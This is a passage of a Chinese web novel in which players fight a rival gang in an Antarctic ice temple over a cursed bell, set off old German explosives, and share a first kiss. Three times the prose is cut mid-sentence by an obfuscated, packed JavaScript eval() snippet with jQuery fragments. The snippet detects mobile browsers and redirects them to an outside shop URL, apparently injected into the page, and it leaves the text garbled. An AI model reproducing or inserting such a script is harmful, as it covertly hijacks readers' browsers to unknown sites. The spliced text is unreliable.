两人站在浮冰上,暂时未动。初与序握紧短刀,警惕地盯着对面的男人。 但首领的注意力似乎并不在战斗上,他的目光下移,落到了她脖子上,右侧颈动脉附近。 ——那里的皮肤上,一道疤痕不知何时变得深了些许,在苍白的皮肤上格外刺目。 首领盯着那道疤,看了两秒,发出一声意味不明的轻笑。 他说:“初小姐。你这道疤,还是我拜我所赐呢。” 初与序动作一顿,那拍摄于八角窗阁楼的视频浮现在她脑海里。 就在这刹那,对面,首领身影倏然模糊,再次化作水流,融入脚下海水,消失不见。 初与序立刻回神,短刀横在胸前。然而,周围只剩下呼啸的风声。她站在原地,背靠一块较高的浮冰,扫视着周围每一寸海面。时间一分一秒过去,只有死寂。 僵持数秒,初与序果断决定先退回岸边。她足下发力,准备向最近的冰岸跃去。 面前,原本平静的海面猛地炸开!一股水流狠狠袭来,初与序被退向后方冰冷的海面。海水瞬间吞没了她,她呛了一大口水,肺部火烧火燎地痛。 墨蓝的水流也钻入海中,在她身旁凝聚,重新化作首领身影。 他一把扣住她的手臂,另一只手已将一根细绳系在她手腕上。绳子的另一端,连着一块巴掌大小的灰黑色石头。 那石头一入水,却瞬间重若千钧。 初与序被重量拖拽着,向幽暗的深海坠去,头顶冰面的微光越来越远。首领悬浮在上方不远处的水中,冰冷地注视着初与序,等着补刀。 初与序没往海面游,而是借着石头下坠的力道,朝着海底潜去。 首领见状,就要跟上。 侧下方的深海中,一个庞大的阴影竟在此时缓缓向上浮来。带着亘古的苍凉,恰好挡在了初与序和上方首领之间,隔断了首领的视线。 首领无奈,只好停在原地等了片刻,阴影游走,初与序的身影却早已消失不见。 他眯起眼,没有选择出海,而是缓缓抬起手。四周的洋流顿时变得缓慢流动,所有细微的动静都被他尽收眼底。 水下光线昏暗,能见度极低。但对首领而言,海水就是他的感官。 初与序躲在一块巨礁石后,背靠着岩面,快速用短刀割断了手腕上的绳子。她极力控制着身体,让周围的海水保持死寂。上方的首领开始游动,搜寻着初与序的身影。 肺里的空气早就耗尽,每一秒都能感受到缺氧的痛。初与序的身体渐渐下沉。 上方海水忽然传来一阵混乱,朝着她方向而来。突然腰间被人紧紧搂住,然后初与序的口中被塞入氧气呼吸管。氧气灌入她的肺部,她呛了一下,睁开眼。 冬逢初一手紧紧搂住她,另一只手划水,带着她游上上方海面。 两人破水而出,躲在冰山后。冬逢初将她更紧地搂在怀里,警惕地侧耳倾听。 片刻后,冰岸边传来哗啦的水声。首领从海水中走出,踏上冰面。黑色冲锋衣贴在身上,勾勒出精悍的线条。 搜寻无果,他站在那里,冷笑一声:“初小姐,我知道你没死。南极神殿的风景不错,正好做你们的葬身之地。” 待首领走远,冬逢初和初与序才终于翻上岸。 冬逢初从面板里取出两张恒温贴纸道具,拍在两人手背上。又拿出创口贴,示意初与序侧头。 初与序抿着唇,任他处理右耳上那个被耳骨夹带出的伤口。 她垂下眼:“耳骨夹丢了,没拿回来。” 冬逢初贴好创口贴,然后他将自己的双手握拳,手背朝上,递到她面前:“随便选一个。” 初与序抬手,随便点了点他右拳。冬逢初摊开右手手掌。掌心赫然放着一枚银色的耳骨夹,还沾着海水,微微反光。 “没丢呢,海底找到的。”他拿起耳骨夹,动作很轻地帮她重新戴回右耳。 此地危险,两人没多停留,赶回了营地。随歌看到两人湿透的样子,吓了一跳:“我去,你们俩背着我们去潜水了?不讲义气!” “……”初与序简单解释,并把首领最后说的那句话也重复了一遍。 埃文在旁边沉默地听着,当听到“神殿”两个字时,他脸色一变。 “神殿?”江意看向埃文,“请问南极还有神殿吗?” 埃文沉声问:“你们……要去那里?” “血誓铃可能在那里。”江意说。 埃文摇头,恐惧道:“不……不行。那里是南极的禁忌,真正的死地。所有去过的人,很少有能活着出来的。以前有一支探险队,最后的目标就是那里。他们进去了,连尸体都没找到。” “我们必须去。”景明垂开口,“线索指向那里,屠宰场也知道那里。不去,铃铛可能被他们拿走,我们也未必能活着离开这片冰原。” 埃文看着她,又看看其他人。 他的肩膀一点点垮下去,最终叹了口气,从怀里掏又掏出一张手绘地图。 地图线条简单,中央用红笔圈了出来,旁边用德文和英文歪歪扭扭地写着同一个词:Antarktischer Tempel(南极神殿)。 “我只能带你们到入口,”埃文指着一条冰廊通道的起点,“就是这里。穿过冰廊,就是神殿的外围。” 他将地图递给初与序:“如果进去之后,听到任何铃铛声,或者震动感。立刻,捂住耳朵,往回跑!不要回头!不要犹豫!” 初与序低头看向地图。冰廊的尽头,是一片冰隧道网络,最终通向中央的神殿。 夜深。营地扎在冰崖背风处。帐篷里有微光。 初与序没进去,她独自走到海边,坐在厚实的海冰面上。不远处的海水墨黑一片,偶尔有鲸尾露出水面,拍起水花,又沉下。夜里反而平静,没见那些不知名物体的阴影。 雪粒飘落,落在她肩头。下雪的海像另一个世界。她摸出烟,叼在嘴里,摸出打火机。不是防风的,火苗刚蹿起就被寒风吹灭。再点,又灭。 一只修长的手从身后伸过来,捏着防风打火机,咔哒一声,火苗稳稳定住。 初与序凑过去点燃,深吸一口,烟头亮起猩红的光。她吐出烟雾,转头。 冬逢初蹲在她身后,嘴里也咬着一支烟。她吐出的烟雾模糊了他的脸,轮廓在夜色和雪雾里有些失真。他没说话,也点燃了自己的烟,接着坐到初与序身边。 脚步声从后面传来,埃文拎着一壶酒走过来,站到他们前面,对着海灌了一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17136459|177773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 大口。酒气在冷空气里散开。 “两个小崽子,这么冷天跑到这里干嘛。”他声音带着醉意。 “您不是也来了么。”冬逢初吸了口烟,声音很淡。 埃文哼了一声,没理他。又灌了口酒。 “生活在南极,有什么感觉?”冬逢初随口问道。 “刚开始赖这里时,可不好受。”埃文耸耸肩,“南极是深邃而永无止境的孤独。呆久了,就感觉一切都像在做梦,像发着低烧。” “那为什么不离开。”初与序开口。这里通讯设备完善,完全可以与外界取得联系。埃文自己又是向导,知道方向,离开南极不算什么难事。 “离开?”埃文像是听到什么好笑的事,“每年都有你们这样贪心的人来找铃铛,我不守着,不带路,你们找不到,乱闯,毁了南极,毁了铃铛,谁知道会搞出什么祸害?” 他仰头又灌酒,酒精作祟,他话多了起来:“我知道有些人来找铃铛,是为了测试爱人朋友忠不忠心。有的,就是为了做坏事,让世上多无数个痛苦的人。可他们的结局,都是惨死。当年和铃铛有关的人,就我一个活着。我不守,谁来守?” “那为什么还带我们去找?”冬逢初问。 埃文转过头,在夜色里盯着他们好一会儿,才慢吞吞地说:“因为我老了。我知道,我快埋在这片冰原里了。我得找最合适的人,把铃铛交出去。” “合适的人?需要什么条件。”初与序问。 埃文又沉默片刻,吐出两个字: “无妄。” 无妄。无妄之灾的无妄。无妄,亦无求。 他叹了口气,语气松了些:“不过,我现在觉得南极挺好的,我喜欢这儿。大部分人喜欢来南极都是要旅游,看风景的。真让他们待一段时间,肯定哭爹喊娘要回去。但我是真喜欢这儿,其他在南极的人都觉得我神经病,喜欢这破地方,哈康也是。” “但南极就已经是我的家了,雪一下,能包容万物,什么坏心情都没了。” 初与序看着海面。她是南方人,生来就喜欢雪和海,后来几年被关在医院,几乎没见过外面风景。第一次看到下雪的海,竟然是在永冬之城的副本里。 似乎和埃文一样,对别的玩家来说,永冬之城是地狱。但对她,能不能回现实,真的无所谓。在这里,遇到了这些人,经历了这些事。比起现实,她不得不承认自己更喜欢这里。 “孤单不是什么坏事。”埃文的声音又响起,像梦呓,“我死在这里,灵魂变成飘在南极的白雾。铃铛没落在坏人手里,世上痛苦的人少无数个,我愿意的啊。” “从前的生活,我离开的那个世界,所有这些,都不再重要。我不想在我死之前,回想我这些年,只剩下了悲凉。” 他忽然拎着酒壶,踉跄转身,看向初与序,忽然用只有她能听见的声音说:“我的孩子,你别再哭了,我太无力了。南极的天太潮了,吹不透你这么多年来的阴郁。你从这里出去之后让太阳好好晒晒你吧,一切都会好起来的。” 说完,他身体晃了晃,眼睛一闭,“砰”地一声,直接仰面倒在冰面上,酒壶滚落。竟是喝醉睡着了。 初与序和冬逢初都愣了一下。 冬逢初率先起身,掐灭烟,走过去将埃文扶起,半拖半抱。 “阿序,”他回头,“我先送他回帐篷。外面太冷,你抽完烟就回来。” 初与序点头,看着冬逢初拖着埃文深一脚浅一脚走回营地。 雪还在下,落在冰面,发出沙沙声。许久,她才垂下眼,平静道:“我没哭啊。” 声音很轻,被风雪吞没,不留痕迹。 238.极地之下 天没亮透,灰蒙蒙的,风雪小了些,寒气更重。 埃文醒来时,头疼得厉害,但眼神已经沉静。他背起鼓囊囊的大包:“走吧,赶在屠宰场前面。” 五人收拾营地,跟上。 冰廊的入口隐藏在一道冰裂底部,被垂挂的冰帘半掩着。不仔细看,只会以为是普通的冰壁。埃文扒开冰帘,里面是一条隧道入口,寒气扑面而来。 “就是这里。”埃文站在入口,回头看向五人,“记住我的话。听到任何铃铛声,跑。” 说完,他弯腰钻了进去。 隧道起初很窄,需要侧身通过。走了约莫十几米,豁然开阔,进入一条高大的天然冰廊。廊顶极高,两侧冰壁光滑如镜,埃文脚步不停,死死盯着前方。 “跟紧我的脚印,一步也别错。”他紧张道,“走错了,可能会引动别的东西。” 没人敢大意。五人紧紧跟着埃文,随歌甚至下意识地踮着脚,恨不得飘过去。 冰廊不断有岔路,有些是死路,有些通向更幽深的暗道。埃文每次都毫不犹豫地选择一条,像是脑中有一张精确的地图。 走了大约半小时,前方出现了一扇门。 那是一扇金属门。门上只有简单的机械门闩,已经锈死。门缝里透出微弱的光。 埃文在门前停下,指着门:“这里就是分界线。门后,就是神殿的外围区域。我只能送你们到这里。” 他拿出一个小巧的破拆工具,“咔哒”一声,门闩被剪断。 埃文用力推开厚重的金属门,阴冷的空气涌出。门后,是一条天然冰窟通道,两侧冰壁高达数十米,冰晶凝结成无数奇形怪状的簇丛,在手电光下折射出迷离梦幻的幽蓝光芒,美得令人窒息。 “南极神殿。”埃文望着通道深处,“就在那后面。地图只能到这里了。后面的路,靠你们自己。” 他从怀里摸出一个小布袋,倒出几颗散发着淡淡药草味的丸子,分给每人一颗:“含着,能提神,抗幻觉。这里……容易产生幻觉。” 五人接过丸子含在口中,一股清凉直冲脑门。 埃文后退一步,站在门外的冰廊里,看着他们:“我等你们回来。” 他没说如果回不来怎么办。 江意对他点了点头,第一个迈步,踏入了门后。冬逢初紧随其后,接着是初与序、景明垂,最后是随歌,他回头看了一眼站在门外的埃文,张了张嘴,最终还是什么都没说,转身跟了进去。 金属门在他们身后,被埃文缓缓关上。 巨大的冰窟看不到顶,冰面下流淌着幽蓝的微光,将整个空间映照得如同海底龙宫。心跳声在这里都显得突兀响亮。 脚下是平整光滑的冰面,延伸向前方。远处可见一些由黑石垒砌的建筑,样式古老,甚至不像是人类已知的任何文明风格。 五人小心翼翼前行,走了大约十分钟,前方冰窟一侧的冰壁上,出现了一个相对平整的凹陷区域。凹陷内,竟然挂着一幅画。 是的,一幅画。装裱在精致的金色画框里,画布陈旧,颜色却意外地保存完好。显得格格不入,诡异莫名。 画面上是宁静的乡村风景:一辆装满干草的马车正缓缓驶过浅滩,河水映着天空,树木葱郁,远处是教堂的尖顶和农舍。阳光明媚,充满田园诗意。 “这是……”江意停下脚步,眉头微蹙。 “你认识?”随歌凑过去,好奇地问。 江意点了点头,开口道:“《干草车》。英国画家康斯太勃尔的作品,1821年左右完成。描绘的是英格兰萨福克郡的乡村景色。真迹应该收藏在伦敦国家美术馆。” 一幅十九世纪的英国风景画,出现在南极冰层深处的诡异神殿里? “副本的……恶趣味?”随歌干笑一声,心里却有点发毛。 初与序的目光落在画框边缘,那里有一行几乎看不清的小字,似乎是后来添加上去的,墨迹暗红: [Wie die Zeit vergeht, bleibt die Gier dieselbe.] (时光流逝,贪婪依旧。) “是德国人留下的。”冬逢初说,“也许是警示来南极的后人。” 他们没有过多停留,继续向前。 冰窟越来越开阔,那些黑石建筑也越来越清晰。它们散布在冰面上,大多低矮,没有窗户,只有窄小的入口。有些已经半塌,被冰层覆盖。 穿过这片石头建筑群,前方冰窟中央,出现了一片圆形区域。地面不再是冰,而是黑色石板。石板中央,是一个高出地面约半米的圆形石台。 石台古朴粗糙,上面静静地悬浮着一样东西。青铜质地,表面布满暗红色、仿佛流动的刻痕。 ——血誓铃。 它就那样悬浮在石台上方,缓缓自转。幽蓝的微光照在它身上,那些暗红刻痕似乎活了过来,随着转动明明灭灭。 五人停在石板区域边缘,江意快速观察四周环境,淡淡道:“没有陷阱,但能量场异常,以石台为中心。” “屠宰场的人不在?”随歌环顾四周,空荡荡的。 就在江意准备迈步上前,探查石台和铃铛周围能量时—— “啪啪啪……” 清脆的鼓掌声响起,掌声来自他们侧后方,一座半塌的石屋屋顶。 五人循声望去,不知何时,那里多了一个人。 黑色冲锋衣,脸上覆盖着黑色的面具,悠闲地坐在倾斜的石屋顶上,一只腿曲起,手肘搭在膝盖上,仿佛在看一场好戏。 “精彩,精彩。”他戏谑,“多亏了你们,我们才这么快就找到这里了。果然没让我失望。” 首领看向初与序,“初小姐,我们又见面了。昨天的礼物,还喜欢吗?” 初与序冷冷地看着他。 “喜欢你个大头鬼!”随歌气不打一处来,“你是蛔虫吧,怎么哪都有你?” 首领从石屋顶跃下,落地无声。他身后,五个人无声走出,站位散开好封住石板区域的入口。 其中,有一个高壮的女人;一个身段看上去异常柔软的女人;一个体格健壮的平头男人;一个穿着机械服的老头;还有一个矮个子。 “我们有好长一段时间都在研究你们的队伍和成员。”首领说道,“配合不错,可惜,今天到此为止。” 话音未落,高壮女人和机械服老头同时跃起。 女人低吼一声,径直冲向江意。老头则双手虚按地面,周围的石块瞬间悬浮起来,快速变形组合,凝聚成数个锯片,金属链球,和一面厚重盾牌,呼啸着朝景明垂和江意砸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17136460|177773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 去!这些机械造物显然经过特殊处理,对能量场有极强干扰性,江意试图展开的重力场刚一接触,效果便大打折扣! 同时,身形柔软的女人忽然贴地滑行,速度奇快,她手臂诡异拉长,五指成爪,直指随歌。 “你的对手是我,小哥哥~”她声音黏腻。 “我靠!你别过来啊啊啊!!!”随歌头皮发麻,手中竹扇“唰”地展开,凛冽的气流卷向对方。 而首领和平头男人则如同两道闪电,直扑初与序和冬逢初。 “去抢铃铛!”江意闪避着高壮女人的冲撞和漫天飞舞的机械造物,喝道。 话落,屠宰场队伍中那个一直没动的矮个子,猛地滑向石台,伸手就抓向悬浮的血誓铃。 景明垂手指一抬,控制着琴弦飞去,试图阻拦。然而,那矮个子一扭,避开琴弦。他枯瘦的手指,触碰到了血誓铃。 嗡——! 一声震鸣以血誓铃为中心猛地扩散开来,直击灵魂! 所有人都感觉心脏像是被无形的手攥了一下,动作齐齐一滞。矮个子闷哼一声,手指触电般缩回,但铃铛已被他抓在手中!他毫不犹豫,转身就朝着深处跑去。 屠宰场剩余几人立刻行动,将他们死死围住,防止他们追击铃铛。 “别急。”首领嘲弄道,“这才刚刚开始,铃铛没那么好拿。” 五人被突如其来的合击打乱了片刻,但很快就调整好状态,冬逢初长剑一划,逼退平头男人,与初与序迅速汇合。江意将重力作用在高壮女人脚下石板,让她一个踉跄。景明垂控制着琴弦专挑机械造物薄弱处切割。随歌将竹扇扇得连飞,寒风裹着冰碴,扰乱了敌方的节奏。 他们竟硬生生稳住了阵脚,甚至隐隐有反压之势。 “啧,麻烦。”首领冷哼一声。 就在此时,随歌趁着对手被景明垂的琴弦逼退的瞬间,竹扇猛地在身前一合,猛地钻了出去! “我去追铃铛!”他大喊一声,身影已朝着矮个子消失的方向冲去。 “拦住他!”平头男人喝道。 但已经晚了。随歌速度本就不慢,加上队友有意无意的掩护,瞬间就冲出了包围圈。 首领眼中寒光一闪,猛地抬手,对着冰窟穹顶某个方向,屈指一弹,一缕黑色水箭命中穹顶一根粗大的冰棱根部! 只听“咔嚓!”一声,那根冰棱应声断裂。 然后,整片冰窟穹顶以冰棱为中心,细密的裂纹蔓延开来。接着,更大范围的冰层开始崩塌! “定向爆破点!”江意脸色一变。 “躲开!”初与序一把将冬逢初扑向石台后方一块巨石。 下一秒,无数积雪和碎石从穹顶砸落,整个冰窟剧烈颤抖,冲击波如同海啸般向四周席卷。 所有人都被这天地之威冲击得站立不稳,初与序只觉一股巨力狠狠撞在前胸,与冬逢初一同被震得重重摔在石板上,又滚出好几米才停下。五脏六腑仿佛都移了位,喉头一甜。 冬逢初闷哼一声,将她护得更紧,用身体挡住了大部分飞溅的碎冰。 其他方向也传来惊呼和撞击声。江意、景明垂,以及屠宰场的人,全都被冲得七零八落。 一块巨大的冰岩砸落在石台区域与外界连接的通道上,将整个空间一分为二。 239.极地之下 崩塌持续了十几秒才渐渐平息,冰尘缓缓沉降。 初与序撑起身。两人都受了不轻的震荡伤,冬逢初的手臂被一块尖锐的冰片划开了一道深口子,鲜血染红衣袖。 他们所在的位置,是石台区域靠近内侧的一块相对完整的石板地,三面被坠落的巨大冰岩包围,只剩下通往石台方向的一个缺口,也堆积了大量碎冰。 而被冰岩隔开的另一边,传来随歌的骂街和打斗声。他们三人显然也被困在另一侧,正与同样被分开的屠宰场成员交战。 前方冰岩缺口处,水流凝聚。首领的身影重新出现。他身后跟着那个平头男人,以及从另一边绕过来的身段看上去很柔软的女人。 首领看了看空荡荡的石台,又看了看初与序脸上。他缓缓抬起手,手中多了一把由水流凝聚而成的弯刀。 他笑了一下:“看来,运气站在我们这边。铃铛飞了,但你们跑不了了。” “先把你们清理掉,再慢慢找铃铛,也不迟。” 首领持刀率先劈向冬逢初,冬逢初持剑迎上。但平头男人也趁机上前,和首领配合着专攻冬逢初的下三路。冬逢初分心两处,剑势不免稍滞。 一把闪着寒光的短刀直直朝着男人手腕刺来,男人被迫回刀格挡,两人各退半步。 他看了一眼初与序的短刀,又瞥向冬逢初的长剑,嗤笑一声:“早就听闻你们俩的武器是共生,现在见,还真不错。”话落,他挥刀扫向还未来得及收刀的初与序! 初与序不闪不避,借着他的刀峰撞在短刀刀柄上。 另一边,首领又一次化为水流,避开冬逢初剑锋,瞬息间在冬逢初侧后方凝聚,水刀刺向他后腰。 初与序余光瞥见,手中短刀掷出,直射首领面门! 这一掷又快又狠,首领被逼得后退一步。冬逢初抓住空隙,长剑直指首领心口。 首领却似乎早有预料,身体竟以诡异的角度向后折去,一缕黑色水流分出,射向冬逢初的心脏部位。这一下变招阴毒至极,又快若闪电! 眼看那水流就要没入皮肉,初与序却毫不犹豫地扑来,伸手挡住了冬逢初的后背。 水流击中她左侧肩膀,并非要害,初与序左手一捞,接住自己那把短刀,反手就朝身形未稳的首领咽喉抹去! 这一下反击完全出乎首领意料!他刚刚躲过冬逢初致命的一剑,重心未稳。千钧一发之际,他不得不再次化为水流,向旁急闪。 刀锋擦着他的脖颈划过,带起几缕被切断的水流。 首领重新在不远处凝聚身形,甩去胳膊上的鲜血,看向初与序,声音里带着略微的惊讶: “你……”他盯着初与序肩膀处迅速蔓开的一片血色,皱着眉道。 他话没说完,那女人忽然动了起来,速度快得看不清,眨眼间就来到冬逢初身后,摁住他的胳膊向后扯!手中的长剑差点掉到地上,冬逢初忙抬起肘部狠狠击向女人,却被后者轻易避开。 就这么一会儿功夫,两人便被团团包围。初与序被首领一拳逼得踉跄后退,脚下一滑,踩到了后方的石面地板,竟发出了轻微的“咔嚓”声。 触感不对,地面下方似乎是空心的。初与序余光向后一瞥—— 身后,石台基座与后方冰岩的缝隙间因刚才冰崩震动,掩盖的冰雪碎屑滑落,露出一角斑驳的墨绿色铁皮。上面有模糊的德文标识和警示骷髅头图案——Sprengstoff(炸药)。 这应该是德国人当年留下的炸药。1945年时,他们想用这个炸毁神殿,但显然失败了,炸药被遗弃在这里,直到现在才被发现。 初与序的心脏一跳,点开耳骨夹:“冬逢初,这里有炸药。” 对面,冬逢初飞快瞥了一眼石台下方,明白了她的意思:“老办法,赌一把?” 初与序不知道怎么回答。冬逢初还在这里,他忘了自己的过去,被困在永冬之城。如果就这么死了,什么都没找到答案,死在这么好的年纪里,死在冰天雪地里,没必要的。 于是她开口:“炸药威力很大,引燃它,我们可能会被炸死,这次是真的会死。你挺愿意活着的。还不如我拖住他们,你去……” 忽然,她听见冬逢初轻轻叹了口气:“那死就死在一起,挺好的。” “我也挺不想一个人走的,我想和你一起走下去。‘一起’的意思,是你要永远陪着我,永远在我身边,你明白吗?” 女人好像察觉到两人不对劲,笑嘻嘻道:“哟,小情侣说悄悄话呢?要不要姐姐给你们点时间,写个遗言?” 首领和男人也暂时停手,分成三角的站着。 初与序侧过脸看了冬逢初一眼,道:“明白了。” 下一秒,她猛地朝女人扑去!刀光如瀑,完全是不要命的打法,瞬间将对方逼得连连后退,也吸引了首领和男人的注意力。 冬逢初脚下一蹬,直直冲向那露出铁皮的炸药箱!他将石板掀往旁边一丢,掏出打火机就要往炸药箱上凑。 “拦住他!”首领最先反应过来,水刀飞向冬逢初! 初与序瞬间将自己手中短刀掷出,短刀撞偏了水刀,但也因此将后背暴露给了敌人,其余人高高跃起就要扑向她! 千钧一发之际,冬逢初摁下打火机,火苗猛地窜起,点燃了炸药箱! 初与序只觉得眼前整个炸开,炽白的光芒以炸药箱为中心,填满了整个世界。 她连忙抬手捂住耳朵。紧接着,仿佛天地初开般的轰鸣炸开,炽白的光转化为狂橙红色的烈焰和冲击波,狠狠砸在冰窟内! 冰岩被粉碎,四周传来巨大的断裂声。所有人都被冲击波狠狠掀起,如同狂风中的落叶,身不由己地抛飞出去!视野被白光和烈焰彻底吞没,耳边只剩下震耳欲聋的爆炸声和崩塌声,以及隐约传来的惨叫。 初与序什么都看不见,身体开始失重下坠,冷空气和硝烟灌入鼻腔。她的腰忽然被一只有力的手紧紧搂住,失重感顿时失去了大片。 冬逢初将初与序护在怀里,朝着下方白茫茫的雪原坠下去。 几秒后,他们狠狠撞进了雪堆深处! 初与序猛地咳嗽起来,喉咙里全是腥甜。温热的液体顺着下颌往下淌,浸透了冲锋衣的衣领,分不清是自己的血,还是冬逢初的。 爆炸的余威卷起地面几乎所有的积雪,劈头盖脸砸下来。暴风雪竟然在此时降临,狂风卷着鹅毛大雪,洋洋洒洒,像是要活埋他们。刺骨的冷冻得四肢百骸都麻木了。脑袋嗡嗡作 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17149964|177773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 响,思绪轻飘飘的,初与序满脑子都是:冬逢初死了没?我死了没? 忽然,身上一沉。初与序看见冬逢初翻到了自己上方,手肘撑着她身体两侧的雪地,用身体挡住了上方倾泻而下的暴风雪。 初与序能闻到他身上熟悉的味道,是勿忘我花的花香,清冽甘甜,带着一丝丝苦味。有滚烫的血从冬逢初额角的伤口里滴落在她脸颊上,顺着皮肤滑落,混入她自己的血里。 初与序看着他,心想我去你的。 护着我撞进雪堆的是冬逢初,翻过来替她挡风雪的又是冬逢初。 冬逢初低下了头。他清秀的脸在暴风雪和血污中模糊不清,只有那双眼睛黑沉沉的,映着雪光,却亮得惊人。他艰难地动了动,握住了她冻得几乎失去知觉的手,攥在掌心。他的手也很冷,但掌心滚烫。 “阿序……” 初与序没应,只是看着他。 冬逢初握紧她的手,又哑声重复了一遍她的名字,喃喃道:“……阿序,我爱你。” 很莫名其妙的一句话,迎着能冻死人的暴风雪。他们做的一切莫名其妙透了。炸了副本重要的剧情场景,也不知道回永冬之城时会不会被D19骂死。 因为翻身的动作,冬逢初左手的衣袖滑下了一截,露出白皙的手腕。 初与序扫了一眼,在他的手腕内侧,有十几道整齐的刀疤。 而在她自己左手腕内侧,同样的位置,有着一模一样的疤。深度,位置,全部与冬逢初的相同。就像从自己身上复刻到冬逢初身上的一样。 她以前从没注意过冬逢初手腕上有这些,冬逢初似乎一直在刻意隐藏。 初与序只是淡淡地扫了一眼,没有任何惊讶和多余的举动。然后移开目光。 冬逢初还是低头看着她,眼神里带着担忧,还有一丝她看不懂的东西。 初与序将手从他的掌心里慢慢抽了出来。接着,她抬起那只沾着雪的手,压住了冬逢初的后颈,微微用力,将他的头压向自己。 两人的嘴唇离得很近,呼吸可闻。血腥气,硝烟味,冰雪的冷冽,混杂在一起。 冬逢初与她近在咫尺的黑眸对视着,张了张嘴,似乎想问什么。 初与序抬起脸,径直吻了上来。 嘴唇相贴,冰冷,柔软。初与序第一次亲吻爱人,她生涩地撬开冬逢初的牙关,舌尖尝到了对方口中更浓郁的血腥味。 冬逢初整个人僵住了,一动不敢动。 初与序移开唇,看着僵住的冬逢初:“看来你不会……” 话没说完,天旋地转。冬逢初那双有力的手臂,一只紧紧搂住了她的腰,另一只手垫在她脑后,将她摁向自己,低下头吻了回去。 这是一个真正意义上的吻。急切,深入,带着某种压抑了太久太久的情感。他的唇冰冷,动作却炽烈如火,撬开她的齿关,长驱直入,不留一丝余地。吻得很深,很急。像是等这一刻已经等了太久,久到跨越了生死,跨越了遗忘,跨越了这永冬之城无尽的寒冷与轮回。 暴风雪在头顶呼啸,雪粒打在他们的身上。 在这一方混乱的小小天地里,只有这个吻,滚烫真实,抵死缠绵,仿佛要将对方的灵魂都一同烙印进自己的生命里。 240.极地之下 唇瓣辗转,气息交织。 初与序被吻得几乎窒息,大脑直接宕机,一片空白。直到肺部传来灼痛,她才猛地回神,下意识抬手,抵住冬逢初的肩,想将他推开。 冬逢初察觉到了她的动作,动作一顿,力道随即放轻。最后,他在她的唇上轻轻地咬了一下,才缓缓退开。 初与序躺在冰冷的雪地上,唇瓣火辣辣的,还残留着冬逢初的气息和温度,混着血腥味,奇异而鲜明。 她缓了好一会儿,才撑着雪地,和冬逢初坐起身。 初与序擦去嘴角的血迹,抬起头,看向灰蒙蒙的天空。冬逢初侧着头,看着她的侧脸。 “阿序。”他忽然叫了一声。 初与序闻声回头。 雪光映在她脸上,肤色苍白。冬逢初看着她,恍惚间,想起了她如同飘雪般的柔情,看到了她如同威德尔海般忧郁又澄澈的眉眼。 初与序对上他的目光,抬起手轻轻揉了一下他有些凌乱的头发。 然后她收回手,站起身,眺望不远处的“神殿”。 曾经高耸的神殿穹顶,大部分已经变成一片冒着袅袅青烟的废墟,被新落的雪掩盖。 冬逢初也站起身,顺着她的目光看去:“不知道铃铛怎么样……” 话音未落,一道刺目的金光忽然从前方雪幕中飞来,直扑他们面门! 两人下意识想要闪避,但那金光的目标却并非他们。 只听“唳——!”一声,一声凄厉尖锐的啸叫从他们身后响起! 初与序猛地回头,只见一根金色琴弦死死缠住了打算从后面偷袭的老鹰,老鹰羽毛乱飞,疯狂挣扎扑腾,却无法挣脱。只几秒钟,便哀鸣着坠向下方的冰海,溅起一小朵浪花,旋即被吞没。 “什么东西?”冬逢初吓了一跳。 “是屠宰场养的老鹰。”前方雪幕中传来熟悉的声音,他们看过去,有两个人影奔来。 是景明垂和随歌。 景明垂手腕一抖,收回琴弦。随歌气喘吁吁地停在两人面前,眼睛瞪得溜圆,上气不接下气地指着那片废墟: “我、我操……刚才那爆炸……又是你们俩弄的?!德军的炸药?!你们就不怕吗?!” 初与序转回身,脸上没什么表情:“我知道你们在外面,爆炸波及不到。” 随歌一噎,随即跳脚:“我问的是我们吗?!我问的是你们俩!!!” 他指着初与序和冬逢初:“炸神殿!同归于尽?!你们他妈是真不要命了啊?!” 说着他就要像老妈子一样念叨,冬逢初连忙转移话题:“回去再说回去再说,意哥呢?” 景明垂指向另一个方向:“在那边,清理剩下的。屠宰场的人没看到活口,可能埋下面了,也可能跑了。” 初与序点了点头。 暴风雪还在下,埋没了惊心动魄的爆炸,埋没了血誓铃的踪迹。以及,那些被一同埋葬的,生死与秘密。 随歌骂骂咧咧,手上展开竹扇,对着初与序和冬逢初就是一顿猛扇。柔和的青光笼罩两人,皮肉伤很快止血,但内里的震荡伤不是这扇子能轻易治愈的,只能暂时缓解。 “哎呦喂,再扇也没用,得回去找医生。”随歌收了扇子,扫了眼两人,忽然“咦”了一声,凑近了些,一脸疑惑,“你俩嘴巴怎么红红的?还破了皮?是不是刚才爆炸被碎冰划到了?还是内伤吐血了?咋搞的?” 初与序:“……” 冬逢初:“……” 两人都没接话,初与序下意识用袖子擦了擦嘴唇。 